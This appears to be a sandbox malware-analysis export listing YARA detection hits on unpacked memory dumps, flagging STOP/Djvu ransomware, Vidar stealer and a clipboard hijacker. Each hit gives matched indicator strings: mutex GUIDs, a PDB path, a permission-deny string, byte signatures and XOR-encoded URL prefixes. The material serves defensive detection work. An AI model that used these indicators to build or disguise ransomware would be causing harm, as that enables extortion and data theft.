6.0.U59WtZz2Sg.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
5.0.U59WtZz2Sg.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
17.0.U59WtZz2Sg.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
1.0.U59WtZz2Sg.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
10.0.build2.exe.400000.6.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.0.U59WtZz2Sg.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.build2.exe.20d15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
17.0.U59WtZz2Sg.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.0.mstsca.exe.ee0000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.0.mstsca.exe.ee0000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
